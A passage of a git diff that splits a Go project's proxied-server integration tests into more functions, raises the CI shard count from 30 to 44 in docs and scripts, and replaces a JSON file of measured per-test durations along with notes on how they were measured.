@@ func TestProxiedServerShow2(t *testing.T) { t.Errorf("expected wisp child %s in --children: %s", childW.ID, out) } }) - } func TestProxiedServerShow3(t *testing.T) { @@ -887,6 +901,14 @@ func TestProxiedServerShow3(t *testing.T) { arr[0]["id"], arr[1]["id"], root.ID, reply.ID) } }) +} + +// TestProxiedServerShow3B holds more of TestProxiedServerShow3's cases, split +// off so the bd_proxied_test shard manifest can place them on another shard. +func TestProxiedServerShow3B(t *testing.T) { + requireSharedProxiedServer(t) + t.Parallel() + bd := buildEmbeddedBD(t) t.Run("show_thread_orphan_message_renders_alone", func(t *testing.T) { t.Parallel() diff --git a/cmd/bd/update_proxied_integration_test.go b/cmd/bd/update_proxied_integration_test.go index efea4da05..cb8c44735 100644 --- a/cmd/bd/update_proxied_integration_test.go +++ b/cmd/bd/update_proxied_integration_test.go @@ -213,6 +213,14 @@ func TestProxiedServerUpdate(t *testing.T) { t.Errorf("lost issue %s assignee = %q, want alice (unchanged)", lost.ID, gotLost.Assignee) } }) +} + +// TestProxiedServerUpdateB holds more of TestProxiedServerUpdate's cases, split +// off so the bd_proxied_test shard manifest can place them on another shard. +func TestProxiedServerUpdateB(t *testing.T) { + requireSharedProxiedServer(t) + t.Parallel() + bd := buildEmbeddedBD(t) // Parity with the non-proxied TestMultiIDUpdatePartialFailureExitsNonzero: // a generic per-ID failure (a bogus ID) between two good IDs must exit @@ -427,6 +435,14 @@ func TestProxiedServerUpdate(t *testing.T) { t.Errorf("dependent should be unblocked after blocker closes") } }) +} + +// TestProxiedServerUpdateC holds more of TestProxiedServerUpdate's cases, split +// off so the bd_proxied_test shard manifest can place them on another shard. +func TestProxiedServerUpdateC(t *testing.T) { + requireSharedProxiedServer(t) + t.Parallel() + bd := buildEmbeddedBD(t) t.Run("invalid_status_rejected", func(t *testing.T) { t.Parallel() @@ -560,7 +576,6 @@ func TestProxiedServerUpdate(t *testing.T) { before, after) } }) - } func TestProxiedServerUpdate2(t *testing.T) { @@ -685,6 +700,14 @@ func TestProxiedServerUpdate2(t *testing.T) { t.Errorf("ephemeral: got %d, want 0 after --persistent", ephemeral) } }) +} + +// TestProxiedServerUpdate2B holds more of TestProxiedServerUpdate2's cases, split +// off so the bd_proxied_test shard manifest can place them on another shard. +func TestProxiedServerUpdate2B(t *testing.T) { + requireSharedProxiedServer(t) + t.Parallel() + bd := buildEmbeddedBD(t) t.Run("update_ephemeral", func(t *testing.T) { t.Parallel() @@ -809,6 +832,14 @@ func TestProxiedServerUpdate2(t *testing.T) { t.Errorf("metadata[keep]: got %v, want %q", got["keep"], "yes") } }) +} + +// TestProxiedServerUpdate2C holds more of TestProxiedServerUpdate2's cases, split +// off so the bd_proxied_test shard manifest can place them on another shard. +func TestProxiedServerUpdate2C(t *testing.T) { + requireSharedProxiedServer(t) + t.Parallel() + bd := buildEmbeddedBD(t) t.Run("update_set_metadata", func(t *testing.T) { t.Parallel() @@ -933,7 +964,6 @@ func TestProxiedServerUpdate2(t *testing.T) { t.Errorf("defer_until: got nil, want non-nil (defer still applied)") } }) - } func TestProxiedServerUpdate3(t *testing.T) { diff --git a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md index 15ba5624c..93ec7f4cd 100644 --- a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md +++ b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md @@ -1041,7 +1041,7 @@ Required` requires them to have run remotely and passed. frozen 20-shard block was the retired `test-embedded-cmd` jobs' split, F1), `//internal/storage/embeddeddolt:embeddeddolt_embedded_test` (20; the frozen 5-shard block was `test-embedded-storage`'s, F1), - `//cmd/bd:bd_proxied_test` (30; the frozen 15-shard block was + `//cmd/bd:bd_proxied_test` (44; the frozen 15-shard block was `test-proxied-cmd`'s, F2) and `//internal/storage/dolt:dolt_server_full_test` (16) to have run exactly the tests its shard script lists (list-only mode, minus diff --git a/engdocs/TESTING.md b/engdocs/TESTING.md index 41efd4955..2f293a23b 100644 --- a/engdocs/TESTING.md +++ b/engdocs/TESTING.md @@ -42,7 +42,7 @@ Each lane, as bazel.yml runs it (add your `--config=fork-cache` or | Dolt server (`bazel-doltserver`) | `bazel test //... --config=doltserver` | Starts its own `dolt sql-server` from the pinned binary; no docker. | | cmd/bd Dolt server (`bazel-cmd-dolt`) | `bazel test //cmd/bd:bd_dolt_server_test --config=doltserver-cmd` | 32 shards of the integration-tagged cmd/bd suite (the slowest tests pinned to 16 of them). | | Embedded Dolt (`bazel-embedded`) | `bazel test //... --config=embedded` | Remote execution only in CI; locally it is slow. | -| Proxied server (`bazel-proxied`) | `bazel test //... --config=doltserver-proxied` | Remote execution only: 30 shards, each with a Dolt server. | +| Proxied server (`bazel-proxied`) | `bazel test //... --config=doltserver-proxied` | Remote execution only: 44 shards, each with a Dolt server. | | Server-Dolt storage (`bazel-server-storage`) | `bazel test //... --config=doltserver-integration` | Remote execution only. | | Docs | `make check-docs` | `//test/docsync:docsync_test` and `//scripts/repochecks:doc_freshness_test` in the test lane's configuration, then `scripts/check-doc-flags.sh` against the pinned release. | @@ -184,7 +184,7 @@ builds with the integration tag like `--config=integration`. Each shard runs its CI job's shard script, so for `--config=doltserver-integration` Bazel shard k runs the tests of job k+1 (both split the manifest's 16-shard block the same way). `--config=doltserver-proxied`'s `bd_proxied_test` instead -runs the manifest's own 30-shard block — bin-packed by measured duration, +runs the manifest's own 44-shard block — bin-packed by measured duration, not the legacy jobs' 15-shard, bd-init-cost-proxy block — so shard k there is not job k+1's tests; it is a different split of the same tests. diff --git a/scripts/ci/gen_proxied_shard_manifest.py b/scripts/ci/gen_proxied_shard_manifest.py index 8ebea6c00..0a099e0f9 100644 --- a/scripts/ci/gen_proxied_shard_manifest.py +++ b/scripts/ci/gen_proxied_shard_manifest.py @@ -56,7 +56,7 @@ name coverage. The manifest file holds more than one block (one per total_shards value in use): the legacy, frozen 15-shard block pr-risk.yml/main.yml's jobs read, and -the Bazel-only lane's own block (30 shards as of F2). By default this prints +the Bazel-only lane's own block (44 shards since 2026-10-09). By default this prints only the requested total's block to stdout, which is NOT safe to redirect straight into the manifest file (`gen... 30 > file` deletes every other block). Use --write to update the file in place instead: it replaces only diff --git a/scripts/ci/proxied_test_durations.json b/scripts/ci/proxied_test_durations.json index 8e1e5f3f1..27297aae8 100644 --- a/scripts/ci/proxied_test_durations.json +++ b/scripts/ci/proxied_test_durations.json @@ -1,250 +1,254 @@ { "_comment": [ - "Measured locally with `bazel --nohome_rc test --config=doltserver-proxied", - "//cmd/bd:bd_proxied_test` -- the exact config bazel.yml's proxied-server tier", - "uses, including `-test.parallel=4` (local sandboxed execution only; no remote", - "executor or cache flags were configured for this measurement run; Bazel's own", - "--remote_download_regex etc. in that config do not enable remote execution", - "without --config=remote-exec, which was not passed).", + "Measured on rbe-west, the lane's own remote executors (instance oss), on", + "2026-10-09: two `bazel test //cmd/bd:bd_proxied_test", + "--config=doltserver-proxied --nocache_test_results` runs, one against the", + "then-committed 30-shard block and one against a 40-shard repack, so every", + "discovered test ran exactly once per run, with the lane's -test.parallel=4", + "and GOMAXPROCS=4. Both passed.", "", - "This replaces an earlier capture that used `-test.parallel=1` (serial). That", - "methodology avoided double-counting a parallel subtest group's own duration on", - "top of its children's, which was a genuine bug in an even earlier pass -- but", - "serial timings do not model this lane, which always runs at parallel=4, and an", - "independent re-review measured near-zero correlation (r=0.08) between the", - "serial-derived predicted shard load and actual parallel=4 wall time. These", - "values are each a clean, single-job (no other concurrent heavy bazel/dolt job", - "intentionally started on the box; see below), parallel=4 top-level test's own", - " attribute from a single fresh, manifest-aligned 30-shard", - "sweep where every shard ran its exact assigned test set once (no duplicates,", - "no gaps -- see scripts/ci/gen_proxied_shard_manifest.py's exact-once coverage", - "check). A top-level Go test's already reflects, not adds to,", - "its own parallel children's wall-clock time, so no leaf-summation step was", - "needed this time: every one of the 176 discovered tests completed inside a", - "single shard run with errors=\"0\" (none needed Bazel's per-target default", - "timeout worked around via a separate `bazel run`, unlike the prior capture).", + "Each value is a top-level test's serial-equivalent cost: the sum of the", + " of every leaf test under it (a subtest with no subtests of", + "its own; the test itself when it has none), each leaf averaged over the", + "two runs. It is NOT , which the previous (local) capture", + "used: for a t.Parallel test that attribute runs from the test's first RUN", + "line to its last PASS line, so it also counts the time the test sat paused", + "behind its shard's other tests. That made a cheap test that happened to", + "wait look as heavy as the shard, which is why the previous 30-shard block,", + "packed to ~360s per shard on paper, ran 38-286s per shard in CI. Leaves,", + "not direct subtests, because a parallel group's own is 0.", "", - "`seconds_per_init_fallback` is the weighted average seconds-per-init over", - "every measured test in this file (sum of all durations / sum of all inits),", - "used only for a brand-new test with no entry yet (see", - "scripts/ci/gen_proxied_shard_manifest.py's discover_inits_cost()). It dropped", - "from the serial capture's 39.7275 to this capture's lower value because", - "parallel=4 genuinely shortens most tests' wall time relative to inits count;", - "this is expected, not a data error.", + "A shard's remote wall time came out at about 0.3x its packed cost (four", + "subtests run at once): correlation 0.90 over the 30-shard run (19,224", + "cost-seconds, 5,671 shard-seconds of wall time); the 40-shard run's", + "shards ran 71-162s, apart from one that held two then-unsplit tests whose", + "cost the first capture had missed.", "", - "This file still does not claim shard totals land within a few seconds of each", - "other -- see .github/workflows/bazel.yml for the current, honest expected", - "spread for the 30-shard proxied lane, now also derived from this same sweep.", + "The cost is almost all `bd init --proxied-server` against the shared dolt", + "sql-server: each init issues ~2,000 statements (81 DOLT_COMMITs) and costs", + "the server ~6-12 CPU-seconds, and most subtests run one init. A top-level", + "test with ~20 single-init subtests therefore cost 600-920 and ran for up", + "to ~350s alone, which no shard count can pack under that. The fifteen", + "heaviest were split into two or three top-level functions", + "(TestProxiedServerUpdate, -UpdateB, -UpdateC, ...); a split function's", + "entry is the sum of the leaves it now holds.", "", - "The box this was measured on also runs other engineers'/agents' unrelated", - "Bazel jobs; this capture was not run with exclusive use of the machine, only", - "with no other *intentional, task-related* heavy bazel/dolt job started", - "concurrently by this task. Absolute seconds may be inflated by ambient", - "contention; relative ordering between tests, which is what LPT packing", - "actually depends on, should still be far more representative than the", - "discarded serial data (confirmed: 30/30 shards passed, 0 failures, 0 races,", - "with the two blocker fixes -- shortSocketPath and cmd.Cancel -- applied).", + "`seconds_per_init_fallback` is the sum of all costs over the sum of all", + "inits (discover_inits_cost()), used only for a test with no entry yet.", "", - "Regenerate with a local `bazel --nohome_rc test --config=doltserver-proxied", - "//cmd/bd:bd_proxied_test --build_event_json_file=` sweep, then pull", - "each shard's bazel-testlogs test.xml per top-level test --", - "not from downloaded CI artifacts -- so the parallel=4, CI-representative", - "methodology above is applied consistently.", - "", - "Added after that sweep: TestProxiedServerOutageReconnectAcceptanceMatrix (80.0,", - "renamed into the discovery pattern once its outage bound was fixed). Not a", - "single sweep's value: local --config=doltserver-proxied runs measured it at", - "55-79 s alone, 60-70 s inside its shard, and a reviewer's 68-109 s under load;", - "80 s is a rounded middle of that spread. seconds_per_init_fallback was", - "recomputed to include it.", - "", - "TestProxiedServerClose / Close3 / Close4 (gastownhall/beads#7151): the 174.6s", - "capture above was taken for the undivided TestProxiedServerClose (23 bd-init", - "subtests). The suite was then split after close_nonexistent_id and again after", - "close_pinned_with_force, so the three entries hold that one capture", - "apportioned by bd-init count (11, 6 and 6 of 23), not fresh measurements; the", - "next sweep replaces all three." + "Regenerate the same way: fresh remote runs of the target, then sum each", + "top-level test's leaf s from every shard's", + "bazel-testlogs/cmd/bd/bd_proxied_test/shard_*/test.xml." ], - "seconds_per_init_fallback": 17.2952, + "seconds_per_init_fallback": 29.5374, "tests": { - "TestProxiedServerAssign": 38.67, - "TestProxiedServerAutoPrune": 67.5, - "TestProxiedServerBackupRefusedOnExternalTopology": 5.96, - "TestProxiedServerBatchDefersThenDoltCommitAdvancesHeadOnce": 9.18, - "TestProxiedServerBatchParity": 60.04, - "TestProxiedServerBlocked": 138.63, - "TestProxiedServerCascadeParity": 78.23, - "TestProxiedServerChildren": 11.28, - "TestProxiedServerCleanDatabases": 7.14, - "TestProxiedServerCleanDatabasesPurgeDropped": 7.76, - "TestProxiedServerClose": 83.5, - "TestProxiedServerClose2": 218.83, - "TestProxiedServerClose3": 45.55, - "TestProxiedServerClose4": 45.55, - "TestProxiedServerCloseConcurrent": 38.25, - "TestProxiedServerCloseSiblingBlockersFanIn": 99.71, - "TestProxiedServerComment": 64.04, - "TestProxiedServerCompactDolt": 11.55, - "TestProxiedServerCompactHistory": 12.38, - "TestProxiedServerConfig": 188.91, - "TestProxiedServerConfigConcurrent": 48.59, - "TestProxiedServerConfigSetMany": 196.57, - "TestProxiedServerContext": 72.27, - "TestProxiedServerCount": 60.65, - "TestProxiedServerCountIncludeInfra": 34.69, - "TestProxiedServerCreate": 46.42, - "TestProxiedServerCreate2": 165.07, - "TestProxiedServerCreateInfraTypeRoutesToWisps": 142.17, - "TestProxiedServerDeferAutoWake": 12.95, - "TestProxiedServerDeferUndefer": 51.14, - "TestProxiedServerDelete": 44.82, - "TestProxiedServerDeleteBlockedJSONSingleDoc": 8.09, - "TestProxiedServerDeleteConcurrent": 10.57, - "TestProxiedServerDeleteForceOrphans": 9.16, - "TestProxiedServerDeleteWisp": 7.06, - "TestProxiedServerDep": 121.62, - "TestProxiedServerDep2": 227.28, - "TestProxiedServerDepConcurrent": 30.55, - "TestProxiedServerDepListSingleIDWarnsOnDroppedExternalEdge": 10.13, - "TestProxiedServerDoltLifecycle": 6.18, - "TestProxiedServerDoltRemoteRemove": 72.67, - "TestProxiedServerDuplicates": 44.77, - "TestProxiedServerEdit": 10.16, - "TestProxiedServerEpic": 109.49, - "TestProxiedServerEventsJournal": 6.48, - "TestProxiedServerEventsJournalOffByDefault": 65.83, - "TestProxiedServerExport": 26.44, - "TestProxiedServerExternalCreate": 5.73, - "TestProxiedServerExternalMutationPolicy": 25.0, - "TestProxiedServerExternalPolicyDirectParity": 18.12, - "TestProxiedServerFindDuplicates": 51.66, - "TestProxiedServerGC": 12.73, - "TestProxiedServerGateCheck": 140.99, - "TestProxiedServerGateCreateInheritsRepoMetadata": 47.1, - "TestProxiedServerGateFrontDoorDirectServerProxyParity": 17.36, - "TestProxiedServerGateLifecycle": 49.79, - "TestProxiedServerGateList": 41.19, - "TestProxiedServerGraph": 15.43, - "TestProxiedServerHeartbeat": 57.23, - "TestProxiedServerHistory": 21.81, - "TestProxiedServerHistoryRemoteRefusalFrontDoorMatrix": 59.61, - "TestProxiedServerHistoryRemoteSupportedFrontDoorParity": 5.97, - "TestProxiedServerHuman": 263.77, - "TestProxiedServerImport": 160.85, - "TestProxiedServerInfo": 28.32, - "TestProxiedServerInitExplicitBeadsDirIsAuthoritative": 11.99, - "TestProxiedServerInitIfMissing": 6.69, - "TestProxiedServerKV": 94.24, - "TestProxiedServerLabel": 179.25, - "TestProxiedServerLink": 51.49, - "TestProxiedServerLint": 15.51, - "TestProxiedServerList": 112.68, - "TestProxiedServerListComments": 31.13, - "TestProxiedServerListSortRetiresTheWalk": 46.29, - "TestProxiedServerListWatchCountsTheOffsetIntoMaxRows": 10.54, - "TestProxiedServerMemory": 58.87, - "TestProxiedServerMolBond": 79.34, - "TestProxiedServerMolBurn": 253.65, - "TestProxiedServerMolCurrent": 85.1, - "TestProxiedServerMolDistill": 78.03, - "TestProxiedServerMolLastActivity": 111.33, - "TestProxiedServerMolProgress": 182.51, - "TestProxiedServerMolReadyGated": 66.34, - "TestProxiedServerMolShow": 36.15, - "TestProxiedServerMolSquash": 118.23, - "TestProxiedServerMolStale": 53.95, - "TestProxiedServerMoleculeFrontDoorDirectServerProxyParity": 22.98, - "TestProxiedServerMoleculeFrontDoorWriteParity": 19.52, - "TestProxiedServerMultiStatementSQL": 6.76, - "TestProxiedServerNote": 11.21, - "TestProxiedServerOrphans": 12.11, - "TestProxiedServerOutageReconnectAcceptanceMatrix": 80.0, + "TestProxiedServerAssign": 55.49, + "TestProxiedServerAutoPrune": 6.71, + "TestProxiedServerBackupRefusedOnExternalTopology": 0.45, + "TestProxiedServerBatchDefersThenDoltCommitAdvancesHeadOnce": 10.13, + "TestProxiedServerBatchParity": 64.1, + "TestProxiedServerBlocked": 49.25, + "TestProxiedServerCascadeParity": 167.07, + "TestProxiedServerChildren": 12.43, + "TestProxiedServerCleanDatabases": 1.02, + "TestProxiedServerCleanDatabasesPurgeDropped": 2.23, + "TestProxiedServerClose": 223.82, + "TestProxiedServerClose2": 379.25, + "TestProxiedServerClose2B": 372.47, + "TestProxiedServerClose3": 253.62, + "TestProxiedServerClose4": 236.01, + "TestProxiedServerCloseB": 199.51, + "TestProxiedServerCloseBeadGate": 85.6, + "TestProxiedServerCloseConcurrent": 39.05, + "TestProxiedServerCloseSiblingBlockersFanIn": 45.72, + "TestProxiedServerComment": 101.7, + "TestProxiedServerCompactDolt": 0.15, + "TestProxiedServerCompactHistory": 2.27, + "TestProxiedServerConfig": 281.3, + "TestProxiedServerConfigB": 221.92, + "TestProxiedServerConfigConcurrent": 21.07, + "TestProxiedServerConfigSetMany": 56.32, + "TestProxiedServerContext": 30.68, + "TestProxiedServerCount": 29.54, + "TestProxiedServerCountIncludeInfra": 7.0, + "TestProxiedServerCreate": 35.39, + "TestProxiedServerCreate2": 313.1, + "TestProxiedServerCreate2B": 266.11, + "TestProxiedServerCreate2C": 115.17, + "TestProxiedServerCreateInfraTypeRoutesToWisps": 54.19, + "TestProxiedServerDeferAutoWake": 10.55, + "TestProxiedServerDeferUndefer": 23.62, + "TestProxiedServerDelete": 30.3, + "TestProxiedServerDeleteBlockedJSONSingleDoc": 16.89, + "TestProxiedServerDeleteConcurrent": 19.41, + "TestProxiedServerDeleteForceOrphans": 34.51, + "TestProxiedServerDeleteWisp": 4.98, + "TestProxiedServerDep": 265.67, + "TestProxiedServerDep2": 421.17, + "TestProxiedServerDep2B": 245.92, + "TestProxiedServerDep2C": 287.95, + "TestProxiedServerDepB": 252.49, + "TestProxiedServerDepConcurrent": 29.34, + "TestProxiedServerDepListSingleIDWarnsOnDroppedExternalEdge": 23.65, + "TestProxiedServerDoltLifecycle": 0.19, + "TestProxiedServerDoltRemoteRemove": 79.1, + "TestProxiedServerDuplicates": 76.36, + "TestProxiedServerEdit": 19.49, + "TestProxiedServerEpic": 47.73, + "TestProxiedServerEventsJournal": 6.01, + "TestProxiedServerEventsJournalOffByDefault": 5.45, + "TestProxiedServerExport": 18.56, + "TestProxiedServerExternalCreate": 5.6, + "TestProxiedServerExternalMutationPolicy": 15.57, + "TestProxiedServerExternalPolicyDirectParity": 8.37, + "TestProxiedServerFindDuplicates": 51.33, + "TestProxiedServerGC": 5.82, + "TestProxiedServerGateCheck": 171.29, + "TestProxiedServerGateCheckB": 205.0, + "TestProxiedServerGateCreateInheritsRepoMetadata": 4.94, + "TestProxiedServerGateFrontDoorDirectServerProxyParity": 22.23, + "TestProxiedServerGateLifecycle": 124.1, + "TestProxiedServerGateList": 48.97, + "TestProxiedServerGatedRendering": 9.09, + "TestProxiedServerGraph": 8.3, + "TestProxiedServerHeartbeat": 11.7, + "TestProxiedServerHistory": 7.88, + "TestProxiedServerHistoryRemoteRefusalFrontDoorMatrix": 26.2, + "TestProxiedServerHistoryRemoteSupportedFrontDoorParity": 5.58, + "TestProxiedServerHuman": 358.37, + "TestProxiedServerIfRevisionGuardAssign": 0.66, + "TestProxiedServerIfRevisionGuardClose": 0.82, + "TestProxiedServerIfRevisionGuardDelete": 0.81, + "TestProxiedServerIfRevisionGuardReopen": 1.48, + "TestProxiedServerIfRevisionGuardUpdate": 0.65, + "TestProxiedServerImport": 288.64, + "TestProxiedServerInfo": 6.0, + "TestProxiedServerInitExplicitBeadsDirIsAuthoritative": 12.59, + "TestProxiedServerInitIfMissing": 0.45, + "TestProxiedServerKV": 340.45, + "TestProxiedServerLabel": 298.09, + "TestProxiedServerLabelB": 234.22, + "TestProxiedServerLabelC": 271.95, + "TestProxiedServerLink": 62.35, + "TestProxiedServerLint": 6.67, + "TestProxiedServerList": 131.93, + "TestProxiedServerListComments": 1.97, + "TestProxiedServerListSortRetiresTheWalk": 0.23, + "TestProxiedServerListWatchCountsTheOffsetIntoMaxRows": 0.83, + "TestProxiedServerMemory": 90.84, + "TestProxiedServerMolBond": 267.25, + "TestProxiedServerMolBurn": 135.47, + "TestProxiedServerMolCurrent": 177.89, + "TestProxiedServerMolDistill": 55.5, + "TestProxiedServerMolLastActivity": 52.81, + "TestProxiedServerMolProgress": 41.09, + "TestProxiedServerMolReadyGated": 202.08, + "TestProxiedServerMolShow": 83.77, + "TestProxiedServerMolSquash": 73.31, + "TestProxiedServerMolStale": 52.8, + "TestProxiedServerMoleculeFrontDoorDirectServerProxyParity": 2.14, + "TestProxiedServerMoleculeFrontDoorWriteParity": 21.32, + "TestProxiedServerMultiStatementSQL": 7.5, + "TestProxiedServerNote": 21.92, + "TestProxiedServerOrphans": 4.25, + "TestProxiedServerOutageReconnectAcceptanceMatrix": 36.22, "TestProxiedServerPathHelpers": 0.0, - "TestProxiedServerPing": 11.73, - "TestProxiedServerPour": 253.65, - "TestProxiedServerPourRejectsEnumViolatingVar": 21.66, - "TestProxiedServerPrime": 94.24, - "TestProxiedServerPriority": 41.35, - "TestProxiedServerPromote": 255.67, - "TestProxiedServerPrune": 119.06, - "TestProxiedServerPurgeWispsPlaneRetention": 24.55, - "TestProxiedServerQuery": 42.94, - "TestProxiedServerQuick": 22.7, - "TestProxiedServerReady": 238.66, - "TestProxiedServerReady2": 71.96, - "TestProxiedServerReadyClaimConcurrent": 20.86, - "TestProxiedServerReadyConcurrent": 11.34, - "TestProxiedServerReadyWisp": 255.67, - "TestProxiedServerReassignFence": 57.62, - "TestProxiedServerReclaim": 11.62, - "TestProxiedServerRecomputeBlocked": 19.71, - "TestProxiedServerRelate": 160.07, - "TestProxiedServerReopen": 125.1, - "TestProxiedServerReopenConcurrent": 66.34, - "TestProxiedServerSQL": 13.91, - "TestProxiedServerSQLDatabaseFlag": 12.28, - "TestProxiedServerSQLStatementRouting": 18.36, - "TestProxiedServerSearch": 78.35, - "TestProxiedServerServeActivatesTheEventsJournal": 9.87, - "TestProxiedServerServeAddComment": 25.29, - "TestProxiedServerServeAddDependencies": 15.59, - "TestProxiedServerServeBatchClose": 16.3, - "TestProxiedServerServeClaim": 16.32, - "TestProxiedServerServeClaimNext": 17.04, - "TestProxiedServerServeClose": 38.42, - "TestProxiedServerServeCount": 21.49, - "TestProxiedServerServeCreate": 11.84, - "TestProxiedServerServeDelete": 13.83, - "TestProxiedServerServeEdgeCounts": 20.14, - "TestProxiedServerServeLifecycle": 21.66, - "TestProxiedServerServeModeGate": 31.59, - "TestProxiedServerServeReadParity": 15.44, - "TestProxiedServerServeReadRevision": 10.4, - "TestProxiedServerServeReadsTheJournalItJustWrote": 38.39, - "TestProxiedServerServeRefusesAStaleCheckpointWithGone": 22.47, - "TestProxiedServerServeRefusesAStreamOnADisabledJournal": 42.35, - "TestProxiedServerServeRefusesTheJournalWhenItIsDisabled": 19.4, - "TestProxiedServerServeRelatedIssues": 28.93, - "TestProxiedServerServeRelease": 11.29, - "TestProxiedServerServeRemoveDependency": 12.52, - "TestProxiedServerServeSettingsWrites": 10.68, - "TestProxiedServerServeStreamsTheJournalItIsWriting": 11.89, - "TestProxiedServerServeUpdate": 17.56, - "TestProxiedServerServeUpdateClaim": 13.57, - "TestProxiedServerSetState": 15.28, - "TestProxiedServerShow": 216.16, - "TestProxiedServerShow2": 232.1, - "TestProxiedServerShow3": 157.69, - "TestProxiedServerShowWatch": 109.69, - "TestProxiedServerStale": 15.61, - "TestProxiedServerState": 110.26, - "TestProxiedServerStatus": 28.61, - "TestProxiedServerStatuses": 27.0, - "TestProxiedServerStorageClass": 150.78, - "TestProxiedServerSwarm": 29.89, - "TestProxiedServerTag": 33.46, - "TestProxiedServerTodo": 43.18, - "TestProxiedServerTypes": 12.51, - "TestProxiedServerTypesAgreeWithCreate": 14.34, - "TestProxiedServerUnclaim": 16.57, - "TestProxiedServerUnclaimIfAssigneeParity": 25.33, - "TestProxiedServerUpdate": 238.19, - "TestProxiedServerUpdate2": 170.45, - "TestProxiedServerUpdate3": 184.1, - "TestProxiedServerUpdateClosePolicy": 37.4, - "TestProxiedServerUpdateConcurrentAppendNotes": 6.6, - "TestProxiedServerUpdateConcurrentClaim": 17.68, - "TestProxiedServerUpdateConcurrentMetadata": 8.68, - "TestProxiedServerUpdateHooks": 20.14, - "TestProxiedServerUpdateIfGuards": 141.97, - "TestProxiedServerUpdateWisp": 82.23, - "TestProxiedServerWispCreate": 74.62, - "TestProxiedServerWispCreateRejectsEnumViolatingVar": 25.49, - "TestProxiedServerWispGC": 52.72, - "TestProxiedServerWispList": 118.23, - "TestServerModeDeferAutoWake": 32.77, - "TestServerModeServe": 19.28, - "TestServerModeServeSkipsPostRunMaintenance": 10.52, - "TestServerModeTypesAgreeWithCreate": 16.0 + "TestProxiedServerPing": 0.76, + "TestProxiedServerPour": 90.63, + "TestProxiedServerPourRejectsEnumViolatingVar": 16.32, + "TestProxiedServerPrime": 120.62, + "TestProxiedServerPriority": 29.69, + "TestProxiedServerPromote": 137.81, + "TestProxiedServerPrune": 229.41, + "TestProxiedServerPurgeWispsPlaneRetention": 27.89, + "TestProxiedServerQuery": 32.83, + "TestProxiedServerQuick": 32.66, + "TestProxiedServerReady": 237.31, + "TestProxiedServerReady2": 159.52, + "TestProxiedServerReadyB": 279.25, + "TestProxiedServerReadyC": 232.74, + "TestProxiedServerReadyClaimConcurrent": 21.86, + "TestProxiedServerReadyConcurrent": 14.36, + "TestProxiedServerReadyWisp": 315.55, + "TestProxiedServerReassignFence": 92.12, + "TestProxiedServerReclaim": 1.41, + "TestProxiedServerRecomputeBlocked": 69.58, + "TestProxiedServerRelate": 174.16, + "TestProxiedServerReopen": 317.88, + "TestProxiedServerReopenB": 283.24, + "TestProxiedServerReopenConcurrent": 100.49, + "TestProxiedServerSQL": 4.56, + "TestProxiedServerSQLDatabaseFlag": 14.98, + "TestProxiedServerSQLStatementRouting": 2.61, + "TestProxiedServerSearch": 79.86, + "TestProxiedServerServeActivatesTheEventsJournal": 10.7, + "TestProxiedServerServeAddComment": 3.85, + "TestProxiedServerServeAddDependencies": 7.7, + "TestProxiedServerServeBatchClose": 14.42, + "TestProxiedServerServeClaim": 13.9, + "TestProxiedServerServeClaimNext": 12.27, + "TestProxiedServerServeClose": 21.8, + "TestProxiedServerServeCount": 15.2, + "TestProxiedServerServeCreate": 2.62, + "TestProxiedServerServeDelete": 5.64, + "TestProxiedServerServeEdgeCounts": 15.27, + "TestProxiedServerServeLifecycle": 0.03, + "TestProxiedServerServeModeGate": 23.75, + "TestProxiedServerServeReadParity": 6.26, + "TestProxiedServerServeReadRevision": 3.59, + "TestProxiedServerServeReadsTheJournalItJustWrote": 14.23, + "TestProxiedServerServeRefusesAStaleCheckpointWithGone": 14.62, + "TestProxiedServerServeRefusesAStreamOnADisabledJournal": 14.96, + "TestProxiedServerServeRefusesTheJournalWhenItIsDisabled": 13.62, + "TestProxiedServerServeRelatedIssues": 14.9, + "TestProxiedServerServeRelease": 4.5, + "TestProxiedServerServeRemoveDependency": 5.12, + "TestProxiedServerServeSettingsWrites": 5.08, + "TestProxiedServerServeStreamsTheJournalItIsWriting": 21.99, + "TestProxiedServerServeUpdate": 14.38, + "TestProxiedServerServeUpdateClaim": 4.97, + "TestProxiedServerSetState": 14.99, + "TestProxiedServerShow": 246.84, + "TestProxiedServerShow2": 304.16, + "TestProxiedServerShow2B": 302.98, + "TestProxiedServerShow3": 276.05, + "TestProxiedServerShow3B": 261.07, + "TestProxiedServerShowB": 297.04, + "TestProxiedServerShowWatch": 164.7, + "TestProxiedServerStale": 6.27, + "TestProxiedServerState": 189.5, + "TestProxiedServerStatus": 40.45, + "TestProxiedServerStatuses": 2.26, + "TestProxiedServerStorageClass": 337.81, + "TestProxiedServerSwarm": 8.38, + "TestProxiedServerTag": 55.84, + "TestProxiedServerTodo": 96.61, + "TestProxiedServerTypes": 4.25, + "TestProxiedServerTypesAgreeWithCreate": 37.25, + "TestProxiedServerUnclaim": 16.93, + "TestProxiedServerUnclaimIfAssigneeParity": 35.25, + "TestProxiedServerUpdate": 306.84, + "TestProxiedServerUpdate2": 285.3, + "TestProxiedServerUpdate2B": 321.6, + "TestProxiedServerUpdate2C": 247.7, + "TestProxiedServerUpdate3": 375.23, + "TestProxiedServerUpdateB": 265.81, + "TestProxiedServerUpdateC": 265.62, + "TestProxiedServerUpdateClosePolicy": 82.95, + "TestProxiedServerUpdateConcurrentAppendNotes": 7.13, + "TestProxiedServerUpdateConcurrentClaim": 12.38, + "TestProxiedServerUpdateConcurrentMetadata": 11.36, + "TestProxiedServerUpdateHooks": 52.36, + "TestProxiedServerUpdateIfGuards": 83.41, + "TestProxiedServerUpdateWisp": 268.08, + "TestProxiedServerWispCreate": 78.86, + "TestProxiedServerWispCreateRejectsEnumViolatingVar": 13.68, + "TestProxiedServerWispGC": 164.43, + "TestProxiedServerWispList": 65.42, + "TestServerModeDeferAutoWake": 11.69, + "TestServerModeServe": 0.04, + "TestServerModeServeSkipsPostRunMaintenance": 13.74, + "TestServerModeSharedServeGlobalReportsTheServedDatabase": 34.13, + "TestServerModeTypesAgreeWithCreate": 36.55 } } diff --git a/scripts/shard_manifest_test.go b/scripts/shard_manifest_test.go index 2bb020b41..9d1867f6b 100644 --- a/scripts/shard_manifest_test.go +++ b/scripts/shard_manifest_test.go @@ -220,7 +220,7 @@ func TestShardScriptsListOnlyRealTests(t *testing.T) { } } -// S3: the Bazel-only 30-shard block is not frozen like the legacy 15-shard +// S3: the Bazel-only 44-shard block is not frozen like the legacy 15-shard // block 